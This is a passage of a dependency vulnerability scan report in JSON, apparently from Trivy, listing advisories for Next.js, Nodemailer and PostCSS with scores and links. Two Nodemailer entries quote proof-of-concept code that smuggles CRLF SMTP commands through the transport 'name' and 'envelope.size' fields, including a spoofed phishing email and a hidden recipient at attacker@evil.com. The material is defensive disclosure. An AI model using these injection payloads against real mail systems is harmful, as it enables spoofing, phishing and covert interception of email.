+ "Description": "Next.js is a React framework for building full-stack web applications. From 13.4.0 to before 15.5.16 and 16.2.5, App Router applications that rely on CSP nonces can be vulnerable to stored cross-site scripting when deployed behind shared caches. In affected versions, malformed nonce values derived from request headers could be reflected into rendered HTML in an unsafe way, allowing an attacker to poison cached responses and cause script execution for later visitors. This vulnerability is fixed in 15.5.16 and 16.2.5.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-79"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
+ "V3Score": 4.7
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N",
+ "V3Score": 4.2
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44581",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.16",
+ "https://github.com/vercel/next.js/releases/tag/v16.2.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-ffhc-5mcf-pf4q",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44581",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44581"
+ ],
+ "PublishedDate": "2026-05-13T18:16:18.4Z",
+ "LastModifiedDate": "2026-05-14T18:30:24.34Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-32421",
+ "VendorIDs": [
+ "GHSA-qpjv-v59x-3qc4"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "14.2.24, 15.1.6",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-32421",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:d8ed5232f6f9d49e987d3c7c6195c791fe445cfcb12fd6123e3875a513b77fa8",
+ "Title": "next.js: Next.js Race Condition to Cache Poisoning",
+ "Description": "Next.js is a React framework for building full-stack web applications. Versions prior to 14.2.24 and 15.1.6 have a race-condition vulnerability. This issue only affects the Pages Router under certain misconfigurations, causing normal endpoints to serve `pageProps` data instead of standard HTML. This issue was patched in versions 15.1.6 and 14.2.24 by stripping the `x-now-route-matches` header from incoming requests. Applications hosted on Vercel's platform are not affected by this issue, as the platform does not cache responses based solely on `200 OK` status without explicit `cache-control` headers. Those who self-host Next.js deployments and are unable to upgrade immediately can mitigate this vulnerability by stripping the `x-now-route-matches` header from all incoming requests at the content development network and setting `cache-control: no-store` for all responses under risk. The maintainers of Next.js strongly recommend only caching responses with explicit cache-control headers.",
+ "Severity": "LOW",
+ "CweIDs": [
+ "CWE-362"
+ ],
+ "VendorSeverity": {
+ "ghsa": 1,
+ "redhat": 1
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
+ "V3Score": 3.7
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
+ "V3Score": 3.7
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2025-32421",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-qpjv-v59x-3qc4",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-32421",
+ "https://vercel.com/changelog/cve-2025-32421",
+ "https://www.cve.org/CVERecord?id=CVE-2025-32421"
+ ],
+ "PublishedDate": "2025-05-14T23:15:47.87Z",
+ "LastModifiedDate": "2025-09-10T15:16:10.053Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-48068",
+ "VendorIDs": [
+ "GHSA-3h52-269p-cp9r"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.2.2, 14.2.30",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-48068",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:7b9e68b251f17eb83c97fa84c26538563533db665542929669216241072dbb74",
+ "Title": "next.js: Information exposure in Next.js dev server due to lack of origin verification",
+ "Description": "Next.js is a React framework for building full-stack web applications. In versions starting from 13.0 to before 14.2.30 and 15.0.0 to before 15.2.2, Next.js may have allowed limited source code exposure when the dev server was running with the App Router enabled. The vulnerability only affects local development environments and requires the user to visit a malicious webpage while npm run dev is active. This issue has been patched in versions 14.2.30 and 15.2.2.",
+ "Severity": "LOW",
+ "CweIDs": [
+ "CWE-1385"
+ ],
+ "VendorSeverity": {
+ "ghsa": 1,
+ "nvd": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
+ "V40Score": 2.3
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
+ "V3Score": 4.3
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
+ "V3Score": 4.3
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2025-48068",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-3h52-269p-cp9r",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-48068",
+ "https://vercel.com/changelog/cve-2025-48068",
+ "https://www.cve.org/CVERecord?id=CVE-2025-48068"
+ ],
+ "PublishedDate": "2025-05-30T04:15:48.51Z",
+ "LastModifiedDate": "2025-09-10T15:17:38.677Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44572",
+ "VendorIDs": [
+ "GHSA-3g8h-86w9-wvmq"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44572",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:3748764db84be8220297895af5974a6f8aa80cc244b6ac6320a4e7c118e565f9",
+ "Title": "next.js: Next.js: Denial of Service due to improper handling of x-nextjs-data header with redirects",
+ "Description": "Next.js is a React framework for building full-stack web applications. From 12.2.0 to before 15.5.16 and 16.2.5, an external client could send a x-nextjs-data header on a normal request to a path handled by middleware that returns a redirect. When that happened, the middleware/proxy could treat the request as a data request and replace the standard Location redirect header with the internal x-nextjs-redirect header. Browsers do not follow x-nextjs-redirect, so the response became an unusable redirect for normal clients. If the application was deployed behind a CDN or reverse proxy that caches 3xx responses without varying on this header, a single attacker request could poison the cached redirect response for the affected path. Subsequent visitors could then receive a cached redirect response without a Location header, causing a denial of service for that redirect path until the cache entry expired or was purged. This vulnerability is fixed in 15.5.16 and 16.2.5.",
+ "Severity": "LOW",
+ "CweIDs": [
+ "CWE-349"
+ ],
+ "VendorSeverity": {
+ "ghsa": 1,
+ "nvd": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
+ "V3Score": 3.7
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 5.9
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 5.9
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44572",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.16",
+ "https://github.com/vercel/next.js/releases/tag/v16.2.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-3g8h-86w9-wvmq",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44572",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44572"
+ ],
+ "PublishedDate": "2026-05-13T16:16:58.8Z",
+ "LastModifiedDate": "2026-05-15T15:46:08.98Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-44582",
+ "VendorIDs": [
+ "GHSA-vfv6-92ff-j949"
+ ],
+ "PkgID": "next@14.2.3",
+ "PkgName": "next",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/next@14.2.3",
+ "UID": "2c2120133d592351"
+ },
+ "InstalledVersion": "14.2.3",
+ "FixedVersion": "15.5.16, 16.2.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-44582",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:9773022fe1a5494682b527d0189974a0089850cae0893dbe88b5b564a864dccc",
+ "Title": "Next.js: Next.js: Cache poisoning allows incorrect response delivery",
+ "Description": "Next.js is a React framework for building full-stack web applications. From 13.4.6 to before 15.5.16 and 16.2.5, React Server Component responses can be vulnerable to cache poisoning in deployments that rely on shared caches with insufficient response partitioning. In affected conditions, collisions in the _rsc cache-busting value can allow an attacker to poison cache entries so users receive the wrong response variant for a given URL. This vulnerability is fixed in 15.5.16 and 16.2.5.",
+ "Severity": "LOW",
+ "CweIDs": [
+ "CWE-328"
+ ],
+ "VendorSeverity": {
+ "ghsa": 1,
+ "redhat": 1
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
+ "V3Score": 3.7
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
+ "V3Score": 3.7
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2026-44582",
+ "https://github.com/vercel/next.js",
+ "https://github.com/vercel/next.js/releases/tag/v15.5.16",
+ "https://github.com/vercel/next.js/releases/tag/v16.2.5",
+ "https://github.com/vercel/next.js/security/advisories/GHSA-vfv6-92ff-j949",
+ "https://nvd.nist.gov/vuln/detail/CVE-2026-44582",
+ "https://www.cve.org/CVERecord?id=CVE-2026-44582"
+ ],
+ "PublishedDate": "2026-05-13T18:16:19.037Z",
+ "LastModifiedDate": "2026-05-14T18:15:03.26Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-14874",
+ "VendorIDs": [
+ "GHSA-rcmh-qjqh-p98v"
+ ],
+ "PkgID": "nodemailer@6.10.1",
+ "PkgName": "nodemailer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/nodemailer@6.10.1",
+ "UID": "cdb0ca30dd5d0b41"
+ },
+ "InstalledVersion": "6.10.1",
+ "FixedVersion": "7.0.11",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-14874",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:14e993e0b9da6a7dbb55df599d9ed1c1b9e95e77ffbbd18eadd3c2971b5b035b",
+ "Title": "nodemailer: Nodemailer: Denial of service via crafted email address header",
+ "Description": "A flaw was found in Nodemailer. This vulnerability allows a denial of service (DoS) via a crafted email address header that triggers infinite recursion in the address parser.",
+ "Severity": "HIGH",
+ "CweIDs": [
+ "CWE-703"
+ ],
+ "VendorSeverity": {
+ "ghsa": 3,
+ "nvd": 3,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "nvd": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/security/cve/CVE-2025-14874",
+ "https://bugzilla.redhat.com/show_bug.cgi?id=2418133",
+ "https://github.com/nodemailer/nodemailer",
+ "https://github.com/nodemailer/nodemailer/commit/b61b9c0cfd682b6f647754ca338373b68336a150",
+ "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-14874",
+ "https://www.cve.org/CVERecord?id=CVE-2025-14874"
+ ],
+ "PublishedDate": "2025-12-18T09:15:44.87Z",
+ "LastModifiedDate": "2026-01-08T03:15:43.19Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2025-13033",
+ "VendorIDs": [
+ "GHSA-mm7p-fcc7-pg87"
+ ],
+ "PkgID": "nodemailer@6.10.1",
+ "PkgName": "nodemailer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/nodemailer@6.10.1",
+ "UID": "cdb0ca30dd5d0b41"
+ },
+ "InstalledVersion": "6.10.1",
+ "FixedVersion": "7.0.7",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2025-13033",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:ada016a78e88a43dce5a673f50c91305b8b0e92a236fe8438202fe49d8eef6df",
+ "Title": "nodemailer: Nodemailer: Email to an unintended domain can occur due to Interpretation Conflict",
+ "Description": "A vulnerability was identified in the email parsing library due to improper handling of specially formatted recipient email addresses. An attacker can exploit this flaw by crafting a recipient address that embeds an external address within quotes. This causes the application to misdirect the email to the attacker's external address instead of the intended internal recipient. This could lead to a significant data leak of sensitive information and allow an attacker to bypass security filters and access controls.",
+ "Severity": "MEDIUM",
+ "CweIDs": [
+ "CWE-1286"
+ ],
+ "VendorSeverity": {
+ "ghsa": 2,
+ "redhat": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P",
+ "V40Score": 5.5
+ },
+ "redhat": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
+ "V3Score": 7.5
+ }
+ },
+ "References": [
+ "https://access.redhat.com/errata/RHSA-2026:15979",
+ "https://access.redhat.com/errata/RHSA-2026:3751",
+ "https://access.redhat.com/security/cve/CVE-2025-13033",
+ "https://bugzilla.redhat.com/show_bug.cgi?id=2402179",
+ "https://github.com/nodemailer/nodemailer",
+ "https://github.com/nodemailer/nodemailer/commit/1150d99fba77280df2cfb1885c43df23109a8626",
+ "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-mm7p-fcc7-pg87",
+ "https://nvd.nist.gov/vuln/detail/CVE-2025-13033",
+ "https://www.cve.org/CVERecord?id=CVE-2025-13033"
+ ],
+ "PublishedDate": "2025-11-14T20:15:45.957Z",
+ "LastModifiedDate": "2026-05-11T13:16:10.037Z"
+ },
+ {
+ "VulnerabilityID": "GHSA-vvjj-xcjg-gr5g",
+ "PkgID": "nodemailer@6.10.1",
+ "PkgName": "nodemailer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/nodemailer@6.10.1",
+ "UID": "cdb0ca30dd5d0b41"
+ },
+ "InstalledVersion": "6.10.1",
+ "FixedVersion": "8.0.5",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://github.com/advisories/GHSA-vvjj-xcjg-gr5g",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:a2587fc053d7b7cc734a99890197c9e0e37a8bb9038ceabd2cb85d53bc6a1b62",
+ "Title": "Nodemailer Vulnerable to SMTP Command Injection via CRLF in Transport name Option (EHLO/HELO) ",
+ "Description": "### Summary\n\nNodemailer versions up to and including 8.0.4 are vulnerable to SMTP command injection via CRLF sequences in the transport `name` configuration option. The `name` value is used directly in the EHLO/HELO SMTP command without any sanitization for carriage return and line feed characters (`\\r\\n`). An attacker who can influence this option can inject arbitrary SMTP commands, enabling unauthorized email sending, email spoofing, and phishing attacks.\n\n### Details\n\nThe vulnerability exists in `lib/smtp-connection/index.js`. When establishing an SMTP connection, the `name` option is concatenated directly into the EHLO command:\n\n```javascript\n// lib/smtp-connection/index.js, line 71\nthis.name = this.options.name || this._getHostname();\n\n// line 1336\nthis._sendCommand('EHLO ' + this.name);\n```\n\nThe `_sendCommand` method writes the string directly to the socket followed by `\\r\\n` (line 1082):\n\n```javascript\nthis._socket.write(Buffer.from(str + '\\r\\n', 'utf-8'));\n```\n\nIf the `name` option contains `\\r\\n` sequences, each injected line is interpreted by the SMTP server as a separate command. Unlike the `envelope.from` and `envelope.to` fields which are validated for `\\r\\n` (line 1107-1119), and unlike `envelope.size` which was recently fixed (GHSA-c7w3-x93f-qmm8) by casting to a number, the `name` parameter receives no CRLF sanitization whatsoever.\n\nThis is distinct from the previously reported GHSA-c7w3-x93f-qmm8 (envelope.size injection) as it affects a different parameter (`name` vs `size`), uses a different injection point (EHLO command vs MAIL FROM command), and occurs at connection initialization rather than during message sending.\n\nThe `name` option is also used in HELO (line 1384) and LHLO (line 1333) commands with the same lack of sanitization.\n\n### PoC\n\n```javascript\nconst nodemailer = require('nodemailer');\nconst net = require('net');\n\n// Simple SMTP server to observe injected commands\nconst server = net.createServer(socket =\u003e {\n socket.write('220 test ESMTP\\r\\n');\n socket.on('data', data =\u003e {\n const lines = data.toString().split('\\r\\n').filter(l =\u003e l);\n lines.forEach(line =\u003e {\n console.log('SMTP CMD:', line);\n if (line.startsWith('EHLO') || line.startsWith('HELO'))\n socket.write('250 OK\\r\\n');\n else if (line.startsWith('MAIL FROM'))\n socket.write('250 OK\\r\\n');\n else if (line.startsWith('RCPT TO'))\n socket.write('250 OK\\r\\n');\n else if (line === 'DATA')\n socket.write('354 Go\\r\\n');\n else if (line === '.')\n socket.write('250 OK\\r\\n');\n else if (line === 'QUIT')\n { socket.write('221 Bye\\r\\n'); socket.end(); }\n else if (line === 'RSET')\n socket.write('250 OK\\r\\n');\n });\n });\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n const port = server.address().port;\n\n // Inject a complete phishing email via EHLO name\n const transport = nodemailer.createTransport({\n host: '127.0.0.1',\n port: port,\n secure: false,\n name: 'legit.host\\r\\nMAIL FROM:\u003cattacker@evil.com\u003e\\r\\n'\n + 'RCPT TO:\u003cvictim@target.com\u003e\\r\\nDATA\\r\\n'\n + 'From: ceo@company.com\\r\\nTo: victim@target.com\\r\\n'\n + 'Subject: Urgent\\r\\n\\r\\nPhishing content\\r\\n.\\r\\nRSET'\n });\n\n transport.sendMail({\n from: 'legit@example.com',\n to: 'legit-recipient@example.com',\n subject: 'Normal email',\n text: 'Normal content'\n }, () =\u003e { server.close(); process.exit(0); });\n});\n```\n\nRunning this PoC shows the SMTP server receives the injected MAIL FROM, RCPT TO, DATA, and phishing email content as separate SMTP commands before the legitimate email is sent.\n\n### Impact\n\n**Who is affected:** Applications that allow users or external input to configure the `name` SMTP transport option. This includes:\n- Multi-tenant SaaS platforms with per-tenant SMTP configuration\n- Admin panels where SMTP hostname/name settings are stored in databases\n- Applications loading SMTP config from environment variables or external sources\n\n**What can an attacker do:**\n1. **Send unauthorized emails** to arbitrary recipients by injecting MAIL FROM and RCPT TO commands\n2. **Spoof email senders** by injecting arbitrary From headers in the DATA portion\n3. **Conduct phishing attacks** using the legitimate SMTP server as a relay\n4. **Bypass application-level controls** on email recipients, since the injected commands are processed before the application's intended MAIL FROM/RCPT TO\n5. **Perform SMTP reconnaissance** by injecting commands like VRFY or EXPN\n\nThe injection occurs at the EHLO stage (before authentication in most SMTP flows), making it particularly dangerous as the injected commands may be processed with the server's trust context.\n\n**Recommended fix:** Sanitize the `name` option by stripping or rejecting CRLF sequences, similar to how `envelope.from` and `envelope.to` are already validated on lines 1107-1119 of `lib/smtp-connection/index.js`. For example:\n\n```javascript\nthis.name = (this.options.name || this._getHostname()).replace(/[\\r\\n]/g, '');\n```",
+ "Severity": "MEDIUM",
+ "VendorSeverity": {
+ "ghsa": 2
+ },
+ "CVSS": {
+ "ghsa": {
+ "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N",
+ "V3Score": 4.9
+ }
+ },
+ "References": [
+ "https://github.com/nodemailer/nodemailer",
+ "https://github.com/nodemailer/nodemailer/commit/0a43876801a420ca528f492eaa01bfc421cc306e",
+ "https://github.com/nodemailer/nodemailer/releases/tag/v8.0.5",
+ "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-vvjj-xcjg-gr5g"
+ ],
+ "PublishedDate": "2026-04-08T15:05:20Z",
+ "LastModifiedDate": "2026-04-08T15:05:20Z"
+ },
+ {
+ "VulnerabilityID": "GHSA-c7w3-x93f-qmm8",
+ "PkgID": "nodemailer@6.10.1",
+ "PkgName": "nodemailer",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/nodemailer@6.10.1",
+ "UID": "cdb0ca30dd5d0b41"
+ },
+ "InstalledVersion": "6.10.1",
+ "FixedVersion": "8.0.4",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://github.com/advisories/GHSA-c7w3-x93f-qmm8",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:8532c98f90c743363865792f4fff2316492ca5848b2fd686194a4e1dc3c5d16b",
+ "Title": "Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter",
+ "Description": "### Summary\nWhen a custom `envelope` object is passed to `sendMail()` with a `size` property containing CRLF characters (`\\r\\n`), the value is concatenated directly into the SMTP `MAIL FROM` command without sanitization. This allows injection of arbitrary SMTP commands, including `RCPT TO` — silently adding attacker-controlled recipients to outgoing emails.\n\n\n### Details\nIn `lib/smtp-connection/index.js` (lines 1161-1162), the `envelope.size` value is concatenated into the SMTP `MAIL FROM` command without any CRLF sanitization:\n\n```javascript\nif (this._envelope.size \u0026\u0026 this._supportedExtensions.includes('SIZE')) {\n args.push('SIZE=' + this._envelope.size);\n}\n```\n\nThis contrasts with other envelope parameters in the same function that ARE properly sanitized:\n- **Addresses** (`from`, `to`): validated for `[\\r\\n\u003c\u003e]` at lines 1107-1127\n- **DSN parameters** (`dsn.ret`, `dsn.envid`, `dsn.orcpt`): encoded via `encodeXText()` at lines 1167-1183\n\nThe `size` property reaches this code path through `MimeNode.setEnvelope()` in `lib/mime-node/index.js` (lines 854-858), which copies all non-standard envelope properties verbatim:\n\n```javascript\nconst standardFields = ['to', 'cc', 'bcc', 'from'];\nObject.keys(envelope).forEach(key =\u003e {\n if (!standardFields.includes(key)) {\n this._envelope[key] = envelope[key];\n }\n});\n```\n\nSince `_sendCommand()` writes the command string followed by `\\r\\n` to the raw TCP socket, a CRLF in the `size` value terminates the `MAIL FROM` command and starts a new SMTP command.\n\nNote: by default, Nodemailer constructs the envelope automatically from the message's `from`/`to` fields and does not include `size`. This vulnerability requires the application to explicitly pass a custom `envelope` object with a `size` property to `sendMail()`. \nWhile this limits the attack surface, applications that expose envelope configuration to users are affected.\n\n### PoC\nave the following as `poc.js` and run with `node poc.js`:\n\n```javascript\nconst net = require('net');\nconst nodemailer = require('nodemailer');\n\n// Minimal SMTP server that logs raw commands\nconst server = net.createServer(socket =\u003e {\n socket.write('220 localhost ESMTP\\r\\n');\n let buffer = '';\n socket.on('data', chunk =\u003e {\n buffer += chunk.toString();\n const lines = buffer.split('\\r\\n');\n buffer = lines.pop();\n for (const line of lines) {\n if (!line) continue;\n console.log('C:', line);\n if (line.startsWith('EHLO')) {\n socket.write('250-localhost\\r\\n250-SIZE 10485760\\r\\n250 OK\\r\\n');\n } else if (line.startsWith('MAIL FROM')) {\n socket.write('250 OK\\r\\n');\n } else if (line.startsWith('RCPT TO')) {\n socket.write('250 OK\\r\\n');\n } else if (line === 'DATA') {\n socket.write('354 Start\\r\\n');\n } else if (line === '.') {\n socket.write('250 OK\\r\\n');\n } else if (line.startsWith('QUIT')) {\n socket.write('221 Bye\\r\\n');\n socket.end();\n }\n }\n });\n});\n\nserver.listen(0, '127.0.0.1', () =\u003e {\n const port = server.address().port;\n console.log('SMTP server on port', port);\n console.log('Sending email with injected RCPT TO...\\n');\n\n const transporter = nodemailer.createTransport({\n host: '127.0.0.1',\n port,\n secure: false,\n tls: { rejectUnauthorized: false },\n });\n\n transporter.sendMail({\n from: 'sender@example.com',\n to: 'recipient@example.com',\n subject: 'Normal email',\n text: 'This is a normal email.',\n envelope: {\n from: 'sender@example.com',\n to: ['recipient@example.com'],\n size: '100\\r\\nRCPT TO:\u003cattacker@evil.com\u003e',\n },\n }, (err) =\u003e {\n if (err) console.error('Error:', err.message);\n console.log('\\nExpected output above:');\n console.log(' C: MAIL FROM:\u003csender@example.com\u003e SIZE=100');\n console.log(' C: RCPT TO:\u003cattacker@evil.com\u003e \u003c-- INJECTED');\n console.log(' C: RCPT TO:\u003crecipient@example.com\u003e');\n server.close();\n transporter.close();\n });\n});\n```\n\n**Expected output:**\n```\nSMTP server on port 12345\nSending email with injected RCPT TO...\n\nC: EHLO [127.0.0.1]\nC: MAIL FROM:\u003csender@example.com\u003e SIZE=100\nC: RCPT TO:\u003cattacker@evil.com\u003e\nC: RCPT TO:\u003crecipient@example.com\u003e\nC: DATA\n...\nC: .\nC: QUIT\n```\n\nThe `RCPT TO:\u003cattacker@evil.com\u003e` line is injected by the CRLF in the `size` field, silently adding an extra recipient to the email.\n\n### Impact\nThis is an SMTP command injection vulnerability. An attacker who can influence the `envelope.size` property in a `sendMail()` call can:\n\n- **Silently add hidden recipients** to outgoing emails via injected `RCPT TO` commands, receiving copies of all emails sent through the affected transport\n- **Inject arbitrary SMTP commands** (e.g., `RSET`, additional `MAIL FROM` to send entirely separate emails through the server)\n- **Leverage the sending organization's SMTP server reputation** for spam or phishing delivery\n\nThe severity is mitigated by the fact that the `envelope` object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include `size`. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.\n\nAffected versions: at least v8.0.3 (current); likely all versions where `envelope.size` is supported.",
+ "Severity": "LOW",
+ "VendorSeverity": {
+ "ghsa": 1
+ },
+ "CVSS": {
+ "ghsa": {
+ "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
+ "V40Score": 2.3
+ }
+ },
+ "References": [
+ "https://github.com/nodemailer/nodemailer",
+ "https://github.com/nodemailer/nodemailer/commit/2d7b9710e63555a1eb13d721296c51186d4b5651",
+ "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-c7w3-x93f-qmm8"
+ ],
+ "PublishedDate": "2026-03-26T22:26:46Z",
+ "LastModifiedDate": "2026-03-26T22:26:46Z"
+ },
+ {
+ "VulnerabilityID": "CVE-2026-41305",
+ "VendorIDs": [
+ "GHSA-qx2v-qp2m-jg93"
+ ],
+ "PkgID": "postcss@8.4.31",
+ "PkgName": "postcss",
+ "PkgIdentifier": {
+ "PURL": "pkg:npm/postcss@8.4.31",
+ "UID": "ddafc079bb8c814b"
+ },
+ "InstalledVersion": "8.4.31",
+ "FixedVersion": "8.5.10",
+ "Status": "fixed",
+ "SeveritySource": "ghsa",
+ "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-41305",
+ "DataSource": {
+ "ID": "ghsa",
+ "Name": "GitHub Security Advisory npm",
+ "URL": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Anpm"
+ },
+ "Fingerprint": "sha256:e437408b5e481324ac18f873baa01d129618b8a919dfd93b95377706b9f70ca4",
+ "Title": "postcss: PostCSS: Cross-Site Scripting (XSS) via improper escaping of style closing tags",
